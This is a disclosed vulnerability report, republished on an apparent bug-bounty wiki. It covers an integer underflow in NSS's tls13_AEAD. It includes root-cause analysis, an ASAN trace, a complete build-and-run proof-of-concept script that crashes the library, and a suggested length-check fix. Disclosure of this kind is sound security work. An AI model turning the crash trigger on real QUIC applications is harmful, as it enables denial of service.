Skip to content
Memory corruption Disclosed report Advanced CVE-2026-6766

NSS `tls13_AEAD` Missing Decrypt Length Guard → Integer Underflow/OOBW (requires external PKCS#11 module that does not implement C_DecryptMessage)

The NSS function tls13_AEAD subtracts the tag length from the input length without first checking that the input is at least as long as the tag, so a short ciphertext causes an unsigned integer underflow and a wild pointer. An attacker who can send a short encrypted QUIC record to an application using the experimental SSL_AeadDecrypt API could crash that process.

Haruto Kimura Follow

Originally disclosed on Mozilla

  • Fixed in 4 days
  • Paid in 12 days
  • Disclosed after 4 days

Created attachment 9552718 reproduce_017_tls13_aead_decrypt_underflow.sh

CWE: CWE-191 (Integer Underflow/Wraparound), secondary CWE-787 (Out-of-Bounds Write)


Affected Products

  • NSS: All versions with SSLExp_AeadDecrypt / SSL_AeadDecrypt experimental API — tested on 3.122 Beta (commit 9028b604112bc4a797d9fa4824670bc686e3891a)
  • Firefox: Affected via QUIC/HTTP/3 implementation that uses SSL_AeadDecrypt for QUIC record decryption
  • Thunderbird: Not directly affected (no QUIC usage)
  • Other: curl with NSS backend (QUIC), any NSS-based QUIC client/server using the AEAD experimental API
  • Platform tested: Ubuntu 22.04 x86_64 (GCP VM, Intel Skylake, AES-NI), GCC 11, AddressSanitizer

Severity

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — 7.5 High

Metric Value Justification
Attack Vector Network QUIC application calls SSL_AeadDecrypt on externally-delivered record; attacker sends short encrypted packet
Attack Complexity Low Any ciphertext shorter than 16 bytes (the AES-GCM tag length) triggers the underflow
Privileges Required None No credentials or local access needed; attacker controls QUIC record content
User Interaction None TLS/QUIC record processing is fully automated
Scope Unchanged Crash confined to the NSS-consuming process
Confidentiality None Wild-addr-write to unmapped region; ASAN stops process before memory disclosure
Integrity None Write target is unmapped/invalid; no controlled overwrite demonstrated
Availability High ASAN: SEGV (wild-addr-write); production binary: likely SIGSEGV/crash

Environment

  • Target: NSS (Network Security Services) — 3.122 Beta (main branch, commit 9028b604112bc4a797d9fa4824670bc686e3891a, https://github.com/nss-dev/nss.git)
  • Platform: Ubuntu 22.04 x86_64 (GCP VM, Intel Skylake, AES-NI available)
  • Compiler: GCC 11 + AddressSanitizer
  • NSS version: All versions with SSLExp_AeadDecrypt / SSL_AeadDecrypt (lib/ssl/sslprimitive.c, lib/ssl/tls13con.c)

Affected Component

  • File: lib/ssl/tls13con.c — lines 5150–5151
  • Function: tls13_AEAD() — called from ssl_AeadInner() (sslprimitive.c:148) → SSLExp_AeadDecrypt() (sslprimitive.c:192) → public SSL_AeadDecrypt() macro (sslexp.h)
  • Attack surface: Any NSS-based QUIC implementation (curl with NSS, Firefox QUIC) that processes network-delivered QUIC records via the SSL_AeadDecrypt experimental API

Root Cause Analysis

tls13_AEAD() performs unsigned subtraction inLen - tagLen before checking that inLen >= tagLen:

C
/* lib/ssl/tls13con.c:5148–5155 — VULNERABLE */
if (decrypt) {
    inLen = inLen - tagLen;   /* ← LINE 5150: UNSIGNED underflow if inLen < tagLen */
    tag = (unsigned char *)in + inLen;  /* ← LINE 5151: wild pointer */
} else {
    tag = out + inLen;
}

rv = PK11_AEADOp(context->key, context->aeadParams.ivFixedBits, /* ... */
                  (unsigned char *)tag, tagLen,
                  out, (int *)&outLen, maxOut,
                  in, (int)inLen);    /* ← inLen = 0xFFFFFFF5, cast to int = -11 */

When called with inLen = 5 and tagLen = 16 (AES-128-GCM):

Step Computation Result
inLen = 5 - 16 Unsigned 32-bit subtraction 0xFFFFFFF5 (4,294,967,285)
tag = in + 0xFFFFFFF5 Pointer arithmetic ~4 GB past the 5-byte heap buffer
PK11_AEADOp(..., (int)inLen) Cast to int -11
PORT_Alloc(-11 + 16) = PORT_Alloc(5) In simulate path Tiny 5-byte allocation
PORT_Memcpy(allocOut, in, (size_t)-11) In simulate path Copy ~4 GB → crash
platform_AES_GCM_DecryptAEAD(in, 0xFFFFFFF5, ...) In non-simulate path AES-NI writes to wild address

No guard exists in ssl_AeadInner() (sslprimitive.c:148) or SSLExp_AeadDecrypt() (sslprimitive.c:192) to check inLen >= tagLen before calling tls13_AEAD(). The fix belongs at the earliest validation point: ssl_AeadInner.

Compare with the encrypt path, which has no inLen - tagLen operation and is unaffected.

Downstream Protection Analysis

The AES_AEAD() function in lib/freebl/rijndael.c:1339 contains an incidental check if (maxOutputLen < inputLen) that can prevent the crash for small maxOut values. When inputLen underflows to 0xFFFFFFF5, any maxOut < 0xFFFFFFF5 triggers this check, returning SEC_ERROR_OUTPUT_LEN before the wild tag pointer is dereferenced. This is not intentional input validation — it is an output buffer size check that accidentally catches the underflowed value.

Two code paths exist with different protection:

  1. Non-simulate path (default softokn — PKCS#11 module supports message operations): C_DecryptMessage → sftk_CryptMessage → sftk_AES_AEAD → AES_AEAD. The maxOutputLen < inputLen check at rijndael.c:1339 gates the crash. With the PoC's maxOut=0xFFFFFFFF, the check passes (0xFFFFFFFF < 0xFFFFFFF5 = FALSE) and the crash occurs. With smaller maxOut, the check catches it.

  2. Simulate path (pk11_AEADSimulateOp in pk11cxt.c:1248-1258 — used when PKCS#11 module does NOT support message operations): On decrypt, the code performs PORT_Alloc(inlen + taglen) = PORT_Alloc(-11 + 16) = 5-byte allocation, then PORT_Memcpy(allocOut, in, inlen) where inlen = -11 (signed). The memcpy receives (size_t)(-11) = ~18 exabytes → immediate crash. No maxOut check exists before this operation. This path crashes with ANY maxOut value.

The PoC uses maxOut=0xFFFFFFFF to demonstrate the crash through the default non-simulate path. The integer underflow itself occurs unconditionally regardless of maxOut — only the downstream crash behavior differs by code path.


Attack Scenario / Exploitation Path

  1. Attacker operates a malicious QUIC server (or is a MITM on a QUIC connection).
  2. Victim application (curl with NSS, Firefox QUIC stack) connects to the server. The server sends a QUIC Initial or 1-RTT packet with a ciphertext payload of 5 bytes (less than the 16-byte AES-GCM tag).
  3. NSS QUIC stack calls SSL_AeadDecrypt(ctx, counter, aad, aadLen, ciphertext, 5, out, &outLen, maxOut).
  4. ssl_AeadInner() passes inLen=5 to tls13_AEAD() without checking inLen >= tagLen.
  5. tls13_AEAD() computes inLen = 5 - 16 = 0xFFFFFFF5 (unsigned wraparound).
  6. tag = in + 0xFFFFFFF5 — wild pointer 4 GB past the heap buffer.
  7. platform_AES_GCM_DecryptAEAD attempts to process the block with this wild tag pointer; ASAN reports SEGV (wild-addr-write) in intel_aes_gcmDEC. In a production binary: SIGSEGV / process crash.
  8. DoS: Any NSS-based QUIC client connecting to an attacker-controlled server crashes. A server-side attack path exists if the QUIC server calls SSL_AeadDecrypt on client-delivered records without prior length validation.

CIA Triad Impact

  • Confidentiality: None — the wild-addr-write targets unmapped memory; no data exfiltration demonstrated.
  • Integrity: None — write to unmapped/invalid address; no controlled overwrite demonstrated in current PoC. Further exploitation research may identify partially controlled write targets.
  • Availability: High — ASAN confirms SEGV; production builds crash with SIGSEGV. Any NSS-based QUIC application crashes when receiving a short encrypted record.

ASAN Output (GCP x86_64)

Full ASAN output with complete stack trace (captured with -fno-omit-frame-pointer enabling frame-pointer unwinding through the assembly crash site):

AddressSanitizer:DEADLYSIGNAL
=================================================================
==10607==ERROR: AddressSanitizer: SEGV on unknown address 0x611000010000 (pc 0x781722855900 bp 0x7ffd1a8d7470 sp 0x7ffd1a8d73f0 T0)
==10607==The signal is caused by a WRITE memory access.
SCARINESS: 30 (wild-addr-write)
    #0 0x781722855900 in intel_aes_gcmDEC /home/HarutoKimura/nss/out/Debug/../../lib/freebl/intel-gcm.S:1186
    #1 0x781722850fdb in platform_AES_GCM_DecryptAEAD /home/HarutoKimura/nss/out/Debug/../../lib/freebl/intel-gcm-wrap.c:503:5
    #2 0x78172250626e in freeblAead_platform_AES_GCM_DecryptAEAD /home/HarutoKimura/nss/out/Debug/../../lib/freebl/rijndael.c:965:1
    #3 0x781722506c3c in AES_AEAD /home/HarutoKimura/nss/out/Debug/../../lib/freebl/rijndael.c:1365:10
    #4 0x781722fcb616 in AES_AEAD /home/HarutoKimura/nss/out/Debug/../../lib/freebl/loader.c:522:12
    #5 0x781722fb9332 in sftk_AES_AEAD /home/HarutoKimura/nss/out/Debug/../../lib/softoken/sftkmessage.c:65:12
    #6 0x781722fb8be5 in sftk_CryptMessage /home/HarutoKimura/nss/out/Debug/../../lib/softoken/sftkmessage.c:222:10
    #7 0x781722fb90da in NSC_DecryptMessage /home/HarutoKimura/nss/out/Debug/../../lib/softoken/sftkmessage.c:328:12
    #8 0x7817252d72d6 in PK11_AEADRawOp /home/HarutoKimura/nss/out/Debug/../../lib/pk11wrap/pk11cxt.c:1471:19
    #9 0x7817252d5f2c in PK11_AEADOp /home/HarutoKimura/nss/out/Debug/../../lib/pk11wrap/pk11cxt.c:1418:12
    #10 0x7817257668be in tls13_AEAD /home/HarutoKimura/nss/out/Debug/../../lib/ssl/tls13con.c:5160:10
    #11 0x781725708139 in ssl_AeadInner /home/HarutoKimura/nss/out/Debug/../../lib/ssl/sslprimitive.c:175:12
    #12 0x781725708293 in SSLExp_AeadDecrypt /home/HarutoKimura/nss/out/Debug/../../lib/ssl/sslprimitive.c:199:12
    #13 0x5cb3d73a2280 in main /tmp/poc_aead_decrypt_underflow.c:89:10
    #14 0x781724e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/HarutoKimura/nss/out/Debug/../../lib/freebl/intel-gcm.S:1186 in intel_aes_gcmDEC
==10607==ABORTING

The complete call chain confirms every step of the vulnerability path:

  • tls13_AEAD (tls13con.c:5160) — integer underflow site
  • ssl_AeadInner (sslprimitive.c:175) — no inLen>=tagLen guard
  • SSLExp_AeadDecrypt (sslprimitive.c:199) — public API entry point
  • PK11_AEADOp / PK11_AEADRawOp (pk11cxt.c:1418, 1471) — PKCS#11 dispatch
  • platform_AES_GCM_DecryptAEAD (intel-gcm-wrap.c:503) — wild pointer dereference
  • intel_aes_gcmDEC (intel-gcm.S:1186) — SEGV (wild-addr-write)

One-Click Reproduction Script

Bash
#!/usr/bin/env bash
set -euo pipefail

# ============================================================
# NSS tls13_AEAD Integer Underflow PoC
# Tested on Ubuntu 22.04 x86_64 (GCP e2-standard-4)
# ============================================================

sudo apt-get update -qq
sudo apt-get install -y -qq \
  build-essential git python3 python3-pip ninja-build zlib1g-dev \
  clang libnspr4-dev pkg-config

python3 -m pip install --quiet gyp-next
export PATH="$HOME/.local/bin:$PATH"

# --- 1. Clone NSS ---
# Note: full clone required to checkout specific commit; /opt requires sudo so use ~/nss
if [ ! -d ~/nss/.git ]; then
    git clone https://github.com/nss-dev/nss.git ~/nss
fi
git -C ~/nss checkout 9028b604112bc4a797d9fa4824670bc686e3891a

# --- 2. Build NSS with ASAN ---
cd ~/nss
if [ ! -f ~/dist/Debug/lib/libnss3.so ]; then
    CC=clang CCC=clang++ ./build.sh --asan --clang --system-nspr --disable-tests -v 2>&1 | tail -20 || {
        echo "WARNING: build.sh exited non-zero (likely shlibsign ASAN crash)"
        ls ~/dist/Debug/lib/libnss3.so ~/dist/Debug/lib/libsoftokn3.so ~/dist/Debug/lib/libfreebl3.so \
            || { echo "FATAL: Core NSS libraries missing"; exit 1; }
        echo "Core libraries present — continuing."
    }
else
    echo "[*] NSS already built — skipping build"
fi

DIST="$(pwd)/../dist"
NSS_LIB=${DIST}/Debug/lib
NSS_INC=${DIST}/public/nss
NSPR_INC=/usr/include/nspr

# --- 3. Write the PoC C source ---
cat > /tmp/poc_aead_decrypt_underflow.c << 'CEOF'
/*
 * NSS tls13_AEAD Integer Underflow PoC
 * CVE: Pending
 *
 * Bug: tls13_AEAD() at tls13con.c:5150 computes inLen = inLen - tagLen
 * without checking inLen >= tagLen. For AES-128-GCM, tagLen=16.
 * When ciphertextLen=5:
 *   inLen = 5 - 16 = 0xFFFFFFF5  (unsigned underflow)
 *   tag   = in + 0xFFFFFFF5      (wild pointer ~4 GB past heap buffer)
 *
 * Downstream: PK11_AEADOp receives inLen=-11 (int cast), platform_AES_GCM_DecryptAEAD
 * attempts to process ~4 GB or writes to wild tag address → SEGV (wild-addr-write).
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "nss.h"
#include "pk11pub.h"
#include "ssl.h"
#include "sslexp.h"
#include "sslproto.h"

int main(int argc, char *argv[])
{
    SECStatus rv;

    rv = NSS_NoDB_Init(".");
    if (rv != SECSuccess) {
        fprintf(stderr, "[-] NSS_NoDB_Init failed (%d)\n", PORT_GetError());
        return 1;
    }
    printf("[+] NSS initialized\n");

    PK11SlotInfo *slot = PK11_GetInternalSlot();
    if (!slot) {
        fprintf(stderr, "[-] PK11_GetInternalSlot failed\n");
        return 1;
    }

    /* 32-byte key material for TLS_AES_128_GCM_SHA256 */
    unsigned char keyData[32];
    memset(keyData, 0x42, sizeof(keyData));
    SECItem keyItem = { siBuffer, keyData, 32 };

    PK11SymKey *secret = PK11_ImportSymKey(slot, CKM_SSL3_MASTER_KEY_DERIVE,
                                           PK11_OriginUnwrap, CKA_DERIVE,
                                           &keyItem, NULL);
    if (!secret) {
        fprintf(stderr, "[-] PK11_ImportSymKey failed (%d)\n", PORT_GetError());
        PK11_FreeSlot(slot);
        return 1;
    }
    printf("[+] Symmetric key imported\n");

    /* Create AEAD context: TLS 1.3 AES-128-GCM, tagLen=16 */
    SSLAeadContext *ctx = NULL;
    const char *label = "test ";
    rv = SSL_MakeAead(SSL_LIBRARY_VERSION_TLS_1_3, TLS_AES_128_GCM_SHA256,
                      secret, label, (unsigned int)strlen(label), &ctx);
    if (rv != SECSuccess) {
        fprintf(stderr, "[-] SSL_MakeAead failed (%d)\n", PORT_GetError());
        PK11_FreeSymKey(secret);
        PK11_FreeSlot(slot);
        return 1;
    }
    printf("[+] AEAD context created (tagLen=16 for AES-128-GCM)\n");

    /*
     * TRIGGER: ciphertextLen=5 < tagLen=16
     * tls13con.c:5150: inLen = 5 - 16 = 0xFFFFFFF5 (unsigned underflow)
     * tls13con.c:5151: tag = in + 0xFFFFFFF5 (wild pointer)
     * ASAN expected: SEGV (wild-addr-write) in intel_aes_gcmDEC
     */
    unsigned char *ciphertext = (unsigned char *)malloc(5);
    unsigned char *output     = (unsigned char *)malloc(256);
    if (!ciphertext || !output) { fprintf(stderr, "[-] malloc failed\n"); return 1; }
    memcpy(ciphertext, "\x41\x42\x43\x44\x45", 5);
    memset(output, 0, 256);

    unsigned int outputLen = 0;
    unsigned char aad[] = { 'a', 'a', 'd' };

    printf("[*] Calling SSL_AeadDecrypt(ciphertextLen=5, tagLen=16)\n");
    printf("[*] Expected: ASAN SEGV (wild-addr-write) in intel_aes_gcmDEC\n");

    /*
     * maxOut=UINT_MAX: The underflowed inLen (0xFFFFFFF5) causes the wild
     * tag pointer computation BEFORE any maxOut check. In the default
     * (non-simulate) path, AES_AEAD at rijndael.c:1339 has an incidental
     * check "if (maxOutputLen < inputLen)" that would catch small maxOut
     * values. UINT_MAX bypasses this, reaching the GCM decrypt with the
     * wild tag pointer. In the simulate path (external PKCS#11 modules),
     * pk11_AEADSimulateOp line 1257 does PORT_Memcpy(allocOut, in, inlen)
     * with inlen=-11 → memcpy((size_t)(-11)) → crash with ANY maxOut.
     */
    rv = SSL_AeadDecrypt(ctx, 0, aad, sizeof(aad),
                         ciphertext, 5,
                         output, &outputLen, (unsigned int)0xFFFFFFFF);

    printf("[!] SSL_AeadDecrypt returned %d (error=%d) — no ASAN crash?\n",
           rv, PORT_GetError());

    free(ciphertext);
    free(output);
    SSL_DestroyAead(ctx);
    PK11_FreeSymKey(secret);
    PK11_FreeSlot(slot);
    NSS_Shutdown();
    return 0;
}
CEOF

# --- 4. Compile the PoC ---
clang -fsanitize=address -g -O1 -fno-omit-frame-pointer \
  -I"${NSS_INC}" \
  -I"${NSPR_INC}" \
  /tmp/poc_aead_decrypt_underflow.c \
  -L"${NSS_LIB}" \
  -Wl,-rpath="${NSS_LIB}" \
  -lssl3 -lnss3 -lnssutil3 -lnspr4 \
  -o /tmp/poc_aead_decrypt_underflow

echo "[*] Compiled: /tmp/poc_aead_decrypt_underflow"

# --- 5. Run the PoC ---
# Note: ASAN signal output can be lost when piped through tee; use log_path to capture reliably
rm -f /tmp/asan_output.*
ASAN_OPTIONS='detect_leaks=0:print_scariness=1:halt_on_error=1:log_path=/tmp/asan_output' \
LD_LIBRARY_PATH="${NSS_LIB}" \
/tmp/poc_aead_decrypt_underflow || true

echo ""
echo "=== ASAN Output ==="
cat /tmp/asan_output.* 2>/dev/null || echo "(no ASAN log file — crash may have been caught differently)"

echo "[*] PoC completed"

Suggested Fix

Add a length guard in ssl_AeadInner() before calling tls13_AEAD(), or equivalently at the top of tls13_AEAD() itself:

C
/* lib/ssl/tls13con.c — SUGGESTED FIX */
static SECStatus
tls13_AEAD(ssl3KeyMaterial *keys, PRBool decrypt,
           unsigned char *out, unsigned int *outLen, unsigned int maxOut,
           const unsigned char *in, unsigned int inLen,
           /* ... */)
{
    /* ADD: guard against unsigned underflow on decrypt */
    if (decrypt && inLen < tagLen) {
        PORT_SetError(SEC_ERROR_INPUT_LEN);
        return SECFailure;
    }

    if (decrypt) {
        inLen = inLen - tagLen;   /* safe after guard */
        tag = (unsigned char *)in + inLen;
    }
    /* ... rest of function unchanged ... */
}

Alternatively, add the check in ssl_AeadInner() (sslprimitive.c:148) so that it applies to all callers of the AEAD primitive:

C
/* lib/ssl/sslprimitive.c:ssl_AeadInner — SUGGESTED FIX */
if (doDecrypt && inLen < (unsigned int)ctx->tagLen) {
    PORT_SetError(SEC_ERROR_INPUT_LEN);
    return SECFailure;
}

The original report as published on Mozilla's Bugzilla, by Haruto Kimura. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The decrypt path subtracts the tag length from the input length without first verifying that the input length is at least the tag length, causing an unsigned underflow and an out-of-bounds pointer.

Impact

An attacker who can deliver a short encrypted QUIC record could crash any NSS-based QUIC client or server that calls SSL_AeadDecrypt on it, causing a denial of service; the report notes that in the default non-simulate path a small maximum output length can incidentally block the crash, while the simulate path used by external PKCS#11 modules crashes with any value.

What the attacker needed

NSS built with the experimental AEAD API; Application calls SSL_AeadDecrypt on network data; Attacker can send a short encrypted record

The fix

A length guard should be added in ssl_AeadInner or at the top of tls13_AEAD so that decryption fails when the input length is smaller than the tag length.

How it was found

  1. Build NSS with AddressSanitizer and create an AEAD context for TLS 1.3 AES-128-GCM.
  2. Prepare a ciphertext buffer of 5 bytes, which is shorter than the 16-byte tag.
  3. Call SSL_AeadDecrypt with that short ciphertext and a very large maximum output length.
  4. Observe the AddressSanitizer report of a wild-address write in the AES-GCM decryption routine.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When decrypting a message, the code needs to know where the authentication tag (a short checksum) starts. It calculates that position by subtracting the tag's length from the total message length. If the message is shorter than the tag, that subtraction wraps around to a huge number, and the program then tries to read from a memory address far outside the real buffer, which crashes it.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Haruto Kimura

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.